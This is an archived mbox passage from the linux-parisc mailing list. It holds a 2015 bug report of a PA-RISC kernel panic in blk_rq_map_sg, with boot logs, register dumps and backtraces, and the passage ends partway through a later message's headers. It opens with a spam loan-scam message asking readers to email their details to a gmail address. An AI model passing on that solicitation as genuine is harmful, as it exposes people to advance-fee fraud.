1;DM3PR20MB0524;2:+VnnIENY9PIE0PbmLdFVWpy+f+geIRpma9jF4/7hg7sqxL1yJB1UuZTFWzrsC/2ICg+XeIE8HboItdViYzPRr9cOoCYkX/8DZqgNwT5DpY6Bhj3Z84gqzg/ZkzKYLsBIG/rNOAasruBpwccO6yI1gOL5MnJJQ1yMBDj9VSKc8HM=;3:7K7HFtNtyKSjJNhsEAb9QqApxiBRHwczPGeF7Op06NQ2mXR0VG96E+hjTZ7vacxhI1WZc4XDkP/5U3zzvEcLJSDmHg8JQTVEftc0fN8jOggz4jNIyohlJAsmvHE/V555g02jR4qFCSq3w2CB5tUQnw==;25:FuMHBlkKjEDqhVbtNC3glAIJ6UbSxb0jjJsQ6z1C6B3lyd0+Uus7lkfWOveDg2Il+8hN2JUXS9vKccydx7Cwi09IfdTKpzvOwMEjuqx+006iorCbyWRodRQNubITxPXxv2lNmv8Q1HvLeQ2lvyNyw+Cxd7+MIPCgdHvGRlJOhNEuyqVxq/ChXe5s737DzC3+ZjNrG0jcc3wSvWlfG+eEfSL5c/4pj+KxFcxvzQv9y2pSp1jaAEydsGPi+bssQ7kAw19xWfDrCtF1fQj8SGu4GQ==;4:+VL2pSn5Cg7FbiEEyu+38NSle7bH5OEpx03kDu83jq5sjozG7E0qzd9UxbSrdJkuK5YVQw534kf9n9N09vTNd/R3X1J+AIORwdXeaHkFzr/o3FZLaliq7+dJpdwHZkEqQ8dwYn
 fv99sqFQS0RqtcF++ZR+/YXnoGcsycahaIOCNn9DMu61R44wT+NvbjOg6p2Eq9VpML/0nxlIgcS1m8lHAbbq177qkNYjyNwr5Q 
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:DM3PR20MB0524;
X-Microsoft-Antispam-PRVS: <DM3PR20MB052469B8BD5AF252E99720B1B8510@DM3PR20MB0524.namprd20.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(601004)(8121501046)(5005006)(3002001);SRVR:DM3PR20MB0524;BCL:0;PCL:0;RULEID:;SRVR:DM3PR20MB0524;
X-Forefront-PRVS: 06952FC175
X-Forefront-Antispam-Report: SFV:SPM;SFS:(10009020)(6009001)(6049001)(199003)(189002)(53806999)(5007970100001)(46552002)(223973002)(42186005)(4001600100001)(33656002)(77156002)(42382002)(78352002)(97736004)(66066001)(46102003)(50986999)(5001830100001)(47776003)(110136002)(68736005)(107886002)(5001960100002)(5001860100001)(19580405001)(19580395003)(4001450100002)(122386002)(54356999)(81156007)(43066003)(4001540100001)(5004730100002)(105586002)(5005630100001)(109986003)(189998001)(101416001)(50466002)(223583001)(62966003)(74316001)(106356001)(76576001)(87976001)(40100003)(53256004)(64706001)(23756003)(558084003)(77096005)(229853001)(416774004);DIR:OUT;SFP:1501;SCL:5;SRVR:DM3PR20MB0524;H:[100.64.95.31];FPR:;SPF:None;PTR:InfoNoRecords;A:0;MX:0;LANG:en;
Received-SPF: None (protection.outlook.com: [100.64.95.31] does not designate
 permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;DM3PR20MB0524;23:JzvlbEClGQSnsqI4GBv6Jit0S9vP0KaOY+5Dkv5?=
 =?iso-8859-1?Q?8aMhuNzz0iBk1jmfY/OFLvHRhTvAlZolQizUPoXIvy4EtdO3cSv+ZyeO/N?=
 =?iso-8859-1?Q?w3Cb9dU74Hlpt1OCyiLkE91gK8NgbebLsJiVgabZMvIPfq8ajjoQ85GLJQ?=
 =?iso-8859-1?Q?X9ulYpD+692LwuiuCGzcNF+NZFXVD9eMRg9u27yxvtVleMwPikdOF8eETz?=
 =?iso-8859-1?Q?sbjAbARQZDbeKAMqi6+i4+UnAHjnUFU5INMqbdiQLvafwlFns5iPZtb6VQ?=
 =?iso-8859-1?Q?5aOgE6L0MgJLJklKF90n81a2TBcDKROOMoMQOKURp3EDWWeoM5W8aCCkQz?=
 =?iso-8859-1?Q?laKXXK9JZ+UAbQfVk3kD3P869QvDXI+kHztxDVv4DMEXTwpPlu3NDcAyKB?=
 =?iso-8859-1?Q?csw6wXOS5PRd1dEFy0o4PyVPUl3UaGyAG4KZtTOtyQlLSmXn3uT3AB8INo?=
 =?iso-8859-1?Q?VOiZwjvjWmSnKeHGvTxIbWDeS4Hee3ao6SiRxocUD4E1x33V4b7o3XoRu3?=
 =?iso-8859-1?Q?F3vHpK1NPhzzldcX2H+ndSz91xa7ik2IOQTUeCtJIe53GQWY9gyguRts0B?=
 =?iso-8859-1?Q?qoK5DxZlpnFLH7OSZ/MBuwA8u/03ii4l+o7LS128ssVE15kUUQ6jQXLvij?=
 =?iso-8859-1?Q?uy2e 
X-Microsoft-Exchange-Diagnostics: 1;DM3PR20MB0524;5:9hHPMc69+feO83LtBnBU9+dDToWhlgAL25KWqL8m9uj68byun5wMuV3fRy3e8fpMw6lyGx9ze2HK1h5zcEdjopTQ6PdaML8QzPmYtrpIyaRzIO5x+acw0dmB3/pWUxivFmE5dFE5vAH/fffEwfq4Yw==;24:c0TaDQPq9e0mu5cly2Zpmff1Y7/837GaWC3pAYB3azUgUa9ZO4sosd/PwNVYEiaODdegW2hphsyUNqr9ebwzeQ==;20:mz+1sk74MrOBJN9frropyXhdumLxGsIzhZGCH4cifp4rEl/fcDPO/PWaxlauU104dcZAMMpPQmfC8daHKC715w==
SpamDiagnosticOutput: 1:22
SpamDiagnosticMetadata: 00000000%2D0000%2D0000%2D0000%2D000000000000
X-OriginatorOrg: info019.onmicrosoft.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Sep 2015 00:50:56.8499
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM3PR20MB0524
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26027>

Do you need a genuine Loan to settle your bills and start up a good
business? Kindly contact us now with your details to get a good
Loan at a low rate of 3% per Annu, Quick send your details via:
guarloan01@gmail.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Unaligned access in scsi blk_rq_map_sg
Date: Sat, 12 Sep 2015 18:13:25 -0400
Lines: 101
Approved: news@gmane.org
Message-ID: <EE9345DC-EA98-41DB-93C2-63A5F15C137B@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1442096376 8826 80.91.229.3 (12 Sep 2015 22:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 12 Sep 2015 22:19:36 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 13 00:19:28 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zat8p-0007cg-BR
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Sep 2015 00:19:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752004AbbILWTX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Sep 2015 18:19:23 -0400
Original-Received: from simcoe209srvr.owm.bell.net ([184.150.200.209]:9765 "EHLO
	torfep06.bell.net" rhost-flags-OK-FAIL-OK-OK) by vger.kernel.org
	with ESMTP id S1751040AbbILWTW convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Sep 2015 18:19:22 -0400
X-Greylist: delayed 354 seconds by postgrey-1.27 at vger.kernel.org; Sat, 12 Sep 2015 18:19:21 EDT
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20150912221326.GMSS7723.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 12 Sep 2015 18:13:26 -0400
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by torspm01.bell.net
          with ESMTP
          id <20150912221334.LULB10552.torspm01.bell.net@[192.168.2.10]>;
          Sat, 12 Sep 2015 18:13:34 -0400
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.55F4A386.007B,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26028
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26028>

With Linus' tree at head, I got the following boot error today:

scsi 4:0:0:0: Direct-Access     HP 73.4G ST373207LW       HPC1 PQ: 0 ANSI: 3    
scsi target4:0:0: Beginning Domain Validation                                   
scsi target4:0:0: Ending Domain Validation                                      
scsi target4:0:0: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW PCOMP (6.2)
scsi 4:0:2:0: Direct-Access     HP 73.4G ST373207LW       HPC1 PQ: 0 ANSI: 3    
scsi target4:0:2: Beginning Domain Validation                                   
scsi target4:0:2: Ending Domain Validation                                      
scsi target4:0:2: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW PCOMP (6.2)
ata3: SATA link down (SStatus 0 SControl 0)                                     
random: nonblocking pool is initialized                                         
ata4: SATA link up 3.0 Gbps (SStatus 123 SControl 0)                            
ata4.00: ATA-9: ST3000DM001-1ER166, CC25, max UDMA/133                          
ata4.00: 5860533168 sectors, multi 0: LBA48 NCQ (depth 31/32)                   
ata4.00: configured for UDMA/100                                                
scsi 3:0:0:0: Direct-Access     ATA      ST3000DM001-1ER1 CC25 PQ: 0 ANSI: 5    
sd 3:0:0:0: [sdc] 5860533168 512-byte logical blocks: (3.00 TB/2.72 TiB)        
sd 4:0:0:0: [sda] 143374738 512-byte logical blocks: (73.4 GB/68.3 GiB)         
sd 4:0:2:0: [sdb] 143374738 512-byte logical blocks: (73.4 GB/68.3 GiB)         
sd 4:0:0:0: [sda] Write Protect is off                                          
sd 4:0:2:0: [sdb] Write Protect is off                                          
sd 4:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports DPO and FA
sd 4:0:2:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FA
mptbase: ioc1: Initiating bringup                                               
sd 3:0:0:0: [sdc] 4096-byte physical blocks                                     
sd 3:0:0:0: [sdc] Write Protect is off                                          
sd 3:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPA
 sdc: sdc1                                                                      
sd 3:0:0:0: [sdc] Attached SCSI disk                                            
ioc1: LSI53C1030 B2: Capabilities={Initiator,Target}                            
scsi host5: ioc1: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=68     
 sda: sda1 sda2 sda3 sda4                                                       
sd 4:0:2:0: [sdb] Attached SCSI disk                                            
sd 4:0:0:0: [sda] Attached SCSI disk                                            
scsi_id(992): unaligned access to 0x00000000fae5b009 at ip=0x00000000410039a7   
scsi_id(993): unaligned access to 0x00000000fa7b9009 at ip=0x00000000410039a7   
Backtrace:                                                                      
 [<000000000c1bb008>] scsi_init_sgtable+0x70/0x168 [scsi_mod]                   
 [<000000000c1bb16c>] scsi_init_io+0x6c/0x250 [scsi_mod]                        
 [<00000000107355a0>] sd_setup_read_write_cmnd+0x58/0x940 [sd_mod]              
 [<0000000010735ecc>] sd_init_command+0x44/0x130 [sd_mod]                       
 [<000000000c1bb454>] scsi_setup_cmnd+0x104/0x1c0 [scsi_mod]                    
 [<000000000c1bb7a0>] scsi_prep_fn+0x100/0x340 [scsi_mod]                       
 [<000000004035cc50>] blk_peek_request+0x1b8/0x298                              
 [<000000000c1bd3b0>] scsi_request_fn+0xf8/0xab0 [scsi_mod]                     
 [<00000000403584ec>] __blk_run_queue+0x4c/0x70                                 
 [<000000004038126c>] cfq_insert_request+0x2dc/0x580                            
 [<00000000403576ac>] __elv_add_request+0x1b4/0x300                             
                                                                                
                                                                                
Bad Address (null pointer deref?): Code=15 regs=000000007c65d260 (Addr=0000003b)
CPU: 2 PID: 936 Comm: systemd-udevd Not tainted 4.2.0+ #1                       
task: 000000033f98a348 ti: 000000007c65c000 task.ti: 000000007c65c000           
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00001000000001001111111100001110 Not tainted                               
r00-03  000000ff0804ff0e 000000007c65d130 0000000040363660 000000007c65d130     
r04-07  00000000406f18f0 0000000000004000 0000000000000320 0000000000000000     
r08-11  0000000000000000 0000000000000001 0001003b00000000 000000007e650dc0     
r12-15  0000000000001000 0000000000000032 0000000000000004 0000000042d0d780     
r16-19  0000000000000000 000000007e4cf088 0000000000001000 0000000000001000     
r20-23  0000000000000000 000000007c1ce000 0000000000011000 000000004076d900     
r24-27  0002d12b3ff4bb53 cffd2ed4c0000000 000000007e48cb20 00000000406f18f0     
r28-31  0001003b00000000 000000007c65d230 000000007c65d260 0000000000000001     
sr00-03  0000000000019000 0000000000000000 0000000000000000 0000000000019000    
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
                                                                                
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040363668 000000004036366c 
 IIR: 0d4010dc    ISR: 0000000000010000  IOR: 0000003b00000000                  
 CPU:        2   CR30: 000000007c65c000 CR31: ffffffffffffffff                  
 ORIG_R28: 0000000000000000                                                     
 IAOQ[0]: blk_rq_map_sg+0x310/0x5d8                                             
 IAOQ[1]: blk_rq_map_sg+0x314/0x5d8                                             
 RP(r2): blk_rq_map_sg+0x308/0x5d8                                              
Backtrace:                                                                      
 [<000000000c1bb008>] scsi_init_sgtable+0x70/0x168 [scsi_mod]                   
 [<000000000c1bb16c>] scsi_init_io+0x6c/0x250 [scsi_mod]                        
 [<00000000107355a0>] sd_setup_read_write_cmnd+0x58/0x940 [sd_mod]              
 [<0000000010735ecc>] sd_init_command+0x44/0x130 [sd_mod]                       
 [<000000000c1bb454>] scsi_setup_cmnd+0x104/0x1c0 [scsi_mod]                    
 [<000000000c1bb7a0>] scsi_prep_fn+0x100/0x340 [scsi_mod]                       
 [<000000004035cc50>] blk_peek_request+0x1b8/0x298                              
 [<000000000c1bd3b0>] scsi_request_fn+0xf8/0xab0 [scsi_mod]                     
 [<00000000403584ec>] __blk_run_queue+0x4c/0x70                                 
 [<000000004038126c>] cfq_insert_request+0x2dc/0x580                            
 [<00000000403576ac>] __elv_add_request+0x1b4/0x300                             
                                                                                
Kernel panic - not syncing: Bad Address (null pointer deref?)                   

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Unaligned access in scsi blk_rq_map_sg
Date: Sat, 12 Sep 2015 18:40:46 -0400
Lines: 155
Approved: news@gmane.org
Message-ID: <2C44DC97-789E-408C-83AF-A7FDB6E6EB8A@bell.net>
References: <EE9345DC-EA98-41DB-93C2-63A5F15C137B@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1442097664 26004 80.91.229.3 (12 Sep 2015 22:41:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 12 Sep 2015 22:41:04 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 13 00:40:54 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZatTY-00067C-4f
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Sep 2015 00:40:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753915AbbILWks (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Sep 2015 18:40:48 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:50163 "EHLO
	torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752356AbbILWks convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Sep 2015 18:40:48 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20150912224046.CHEE22640.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 12 Sep 2015 18:40:46 -0400
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by torspm02.bell.net
          with ESMTP
          id <20150912224314.MELU4518.torspm02.bell.net@[192.168.2.10]>;
          Sat, 12 Sep 2015 18:43:14 -0400
In-Reply-To: <EE9345DC-EA98-41DB-93C2-63A5F15C137B@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.55F4A9EE.01A4,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26029
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26029>

On 2015-09-12, at 6:13 PM, John David Anglin wrote:

> With Linus' tree at head, I got the following boot error today:
> 
> scsi 4:0:0:0: Direct-Access     HP 73.4G ST373207LW       HPC1 PQ: 0 ANSI: 3    
> scsi target4:0:0: Beginning Domain Validation                                   
> scsi target4:0:0: Ending Domain Validation                                      
> scsi target4:0:0: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW PCOMP (6.2)
> scsi 4:0:2:0: Direct-Access     HP 73.4G ST373207LW       HPC1 PQ: 0 ANSI: 3    
> scsi target4:0:2: Beginning Domain Validation                                   
> scsi target4:0:2: Ending Domain Validation                                      
> scsi target4:0:2: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW PCOMP (6.2)
> ata3: SATA link down (SStatus 0 SControl 0)                                     
> random: nonblocking pool is initialized                                         
> ata4: SATA link up 3.0 Gbps (SStatus 123 SControl 0)                            
> ata4.00: ATA-9: ST3000DM001-1ER166, CC25, max UDMA/133                          
> ata4.00: 5860533168 sectors, multi 0: LBA48 NCQ (depth 31/32)                   
> ata4.00: configured for UDMA/100                                                
> scsi 3:0:0:0: Direct-Access     ATA      ST3000DM001-1ER1 CC25 PQ: 0 ANSI: 5    
> sd 3:0:0:0: [sdc] 5860533168 512-byte logical blocks: (3.00 TB/2.72 TiB)        
> sd 4:0:0:0: [sda] 143374738 512-byte logical blocks: (73.4 GB/68.3 GiB)         
> sd 4:0:2:0: [sdb] 143374738 512-byte logical blocks: (73.4 GB/68.3 GiB)         
> sd 4:0:0:0: [sda] Write Protect is off                                          
> sd 4:0:2:0: [sdb] Write Protect is off                                          
> sd 4:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports DPO and FA
> sd 4:0:2:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FA
> mptbase: ioc1: Initiating bringup                                               
> sd 3:0:0:0: [sdc] 4096-byte physical blocks                                     
> sd 3:0:0:0: [sdc] Write Protect is off                                          
> sd 3:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPA
> sdc: sdc1                                                                      
> sd 3:0:0:0: [sdc] Attached SCSI disk                                            
> ioc1: LSI53C1030 B2: Capabilities={Initiator,Target}                            
> scsi host5: ioc1: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=68     
> sda: sda1 sda2 sda3 sda4                                                       
> sd 4:0:2:0: [sdb] Attached SCSI disk                                            
> sd 4:0:0:0: [sda] Attached SCSI disk                                            
> scsi_id(992): unaligned access to 0x00000000fae5b009 at ip=0x00000000410039a7   
> scsi_id(993): unaligned access to 0x00000000fa7b9009 at ip=0x00000000410039a7   
> Backtrace:                                                                      
> [<000000000c1bb008>] scsi_init_sgtable+0x70/0x168 [scsi_mod]                   
> [<000000000c1bb16c>] scsi_init_io+0x6c/0x250 [scsi_mod]                        
> [<00000000107355a0>] sd_setup_read_write_cmnd+0x58/0x940 [sd_mod]              
> [<0000000010735ecc>] sd_init_command+0x44/0x130 [sd_mod]                       
> [<000000000c1bb454>] scsi_setup_cmnd+0x104/0x1c0 [scsi_mod]                    
> [<000000000c1bb7a0>] scsi_prep_fn+0x100/0x340 [scsi_mod]                       
> [<000000004035cc50>] blk_peek_request+0x1b8/0x298                              
> [<000000000c1bd3b0>] scsi_request_fn+0xf8/0xab0 [scsi_mod]                     
> [<00000000403584ec>] __blk_run_queue+0x4c/0x70                                 
> [<000000004038126c>] cfq_insert_request+0x2dc/0x580                            
> [<00000000403576ac>] __elv_add_request+0x1b4/0x300                             
> 
> 
> Bad Address (null pointer deref?): Code=15 regs=000000007c65d260 (Addr=0000003b)
> CPU: 2 PID: 936 Comm: systemd-udevd Not tainted 4.2.0+ #1                       
> task: 000000033f98a348 ti: 000000007c65c000 task.ti: 000000007c65c000           
> 
>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
> PSW: 00001000000001001111111100001110 Not tainted                               
> r00-03  000000ff0804ff0e 000000007c65d130 0000000040363660 000000007c65d130     
> r04-07  00000000406f18f0 0000000000004000 0000000000000320 0000000000000000     
> r08-11  0000000000000000 0000000000000001 0001003b00000000 000000007e650dc0     
> r12-15  0000000000001000 0000000000000032 0000000000000004 0000000042d0d780     
> r16-19  0000000000000000 000000007e4cf088 0000000000001000 0000000000001000     
> r20-23  0000000000000000 000000007c1ce000 0000000000011000 000000004076d900     
> r24-27  0002d12b3ff4bb53 cffd2ed4c0000000 000000007e48cb20 00000000406f18f0     
> r28-31  0001003b00000000 000000007c65d230 000000007c65d260 0000000000000001     
> sr00-03  0000000000019000 0000000000000000 0000000000000000 0000000000019000    
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000    
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040363668 000000004036366c 
> IIR: 0d4010dc    ISR: 0000000000010000  IOR: 0000003b00000000                  
> CPU:        2   CR30: 000000007c65c000 CR31: ffffffffffffffff                  
> ORIG_R28: 0000000000000000                                                     
> IAOQ[0]: blk_rq_map_sg+0x310/0x5d8                                             
> IAOQ[1]: blk_rq_map_sg+0x314/0x5d8                                             
> RP(r2): blk_rq_map_sg+0x308/0x5d8                                              
> Backtrace:                                                                      
> [<000000000c1bb008>] scsi_init_sgtable+0x70/0x168 [scsi_mod]                   
> [<000000000c1bb16c>] scsi_init_io+0x6c/0x250 [scsi_mod]                        
> [<00000000107355a0>] sd_setup_read_write_cmnd+0x58/0x940 [sd_mod]              
> [<0000000010735ecc>] sd_init_command+0x44/0x130 [sd_mod]                       
> [<000000000c1bb454>] scsi_setup_cmnd+0x104/0x1c0 [scsi_mod]                    
> [<000000000c1bb7a0>] scsi_prep_fn+0x100/0x340 [scsi_mod]                       
> [<000000004035cc50>] blk_peek_request+0x1b8/0x298                              
> [<000000000c1bd3b0>] scsi_request_fn+0xf8/0xab0 [scsi_mod]                     
> [<00000000403584ec>] __blk_run_queue+0x4c/0x70                                 
> [<000000004038126c>] cfq_insert_request+0x2dc/0x580                            
> [<00000000403576ac>] __elv_add_request+0x1b4/0x300                             
> 
> Kernel panic - not syncing: Bad Address (null pointer deref?)                   


It appears the unaligned accesses were present before but didn't cause a panic:

ioc1: LSI53C1030 B2: Capabilities={Initiator,Target}                            
scsi 3:0:0:0: Direct-Access     ATA      ST3000DM001-1ER1 CC25 PQ: 0 ANSI: 5    
sd 3:0:0:0: [sdc] 5860533168 512-byte logical blocks: (3.00 TB/2.72 TiB)        
sd 3:0:0:0: [sdc] 4096-byte physical blocks                                     
sd 3:0:0:0: [sdc] Write Protect is off                                          
sd 3:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPA
 sdc: sdc1                                                                      
sd 3:0:0:0: [sdc] Attached SCSI disk                                            
scsi host5: ioc1: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=68     
sd 4:0:2:0: [sdb] Spinning up disk...                                           
sd 4:0:0:0: [sda] 143374738 512-byte logical blocks: (73.4 GB/68.3 GiB)         
sd 4:0:0:0: [sda] Write Protect is off                                          
sd 4:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports DPO and FA
.                                                                               
 sda: sda1 sda2 sda3 sda4                                                       
sd 4:0:0:0: [sda] Attached SCSI disk                                            
...                                                                             
scsi_id(938): unaligned access to 0x00000000faed4009 at ip=0x00000000410038df   
.....ready                                                                      
sd 4:0:2:0: [sdb] 143374738 512-byte logical blocks: (73.4 GB/68.3 GiB)         
sd 4:0:2:0: [sdb] Write Protect is off                                          
sd 4:0:2:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FA
sd 4:0:2:0: [sdb] Attached SCSI disk                                            
scsi_id(942): unaligned access to 0x00000000fae77009 at ip=0x00000000410038df   
Begin: Loading essential drivers ... done.                                      
Begin: Running /scripts/init-premount ... done.                                 
Begin: Mounting root file system ... Begin: Running /scripts/local-top ... done.
Begin: Running /scripts/local-premount ... done.                                
Begin: Checking root file system ... fsck from util-linux 2.26.2                
ROOT: clean, 128634/4341760 files, 3291642/17343502 blocks                      
done.                                                                           
kjournald starting.  Commit interval 5 seconds                                  
EXT3-fs (sda4): mounted filesystem with writeback data mode                     
done.                                                                           
Begin: Running /scripts/local-bottom ... done.                                  
Begin: Running /scripts/init-bottom ... done.                                   
INIT: version 2.88 booting                                                      
[info] Using makefile-style concurrent boot in runlevel S.                      
[....] Starting the hotplug events dispatcher: systemd-udevdstarting version 226
. ok                                                                            
[....] Synthesizing the initial hotplug events...done.                          
[....] Waiting for /dev to be fully populated...sd 4:0:0:0: Attached scsi gener0
sd 4:0:2:0: Attached scsi generic sg1 type 0                                    
sd 3:0:0:0: Attached scsi generic sg2 type 0                                    
scsi_id(1192): unaligned access to 0x00000000faeeb009 at ip=0x00000000410039a7  
scsi_id(1193): unaligned access to 0x00000000faa1f009 at ip=0x00000000410039a7 

The above is with 4.0.8+.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Unaligned access in scsi blk_rq_map_sg
Date: Sun, 13 Sep 2015 15:40:25 -0400
Lines: 742
Approved: news@gmane.org
Message-ID: <4FC538D2-3433-473B-90B2-F5C144352D77@bell.net>
References: <EE9345DC-EA98-41DB-93C2-63A5F15C137B@bell.net> <2C44DC97-789E-408C-83AF-A7FDB6E6EB8A@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-21-9557822
X-Trace: ger.gmane.org 1442173242 2992 80.91.229.3 (13 Sep 2015 19:40:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Sep 2015 19:40:42 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 13 21:40:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZbD8Y-00060C-U9
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Sep 2015 21:40:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752206AbbIMTk3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Sep 2015 15:40:29 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:31870 "EHLO
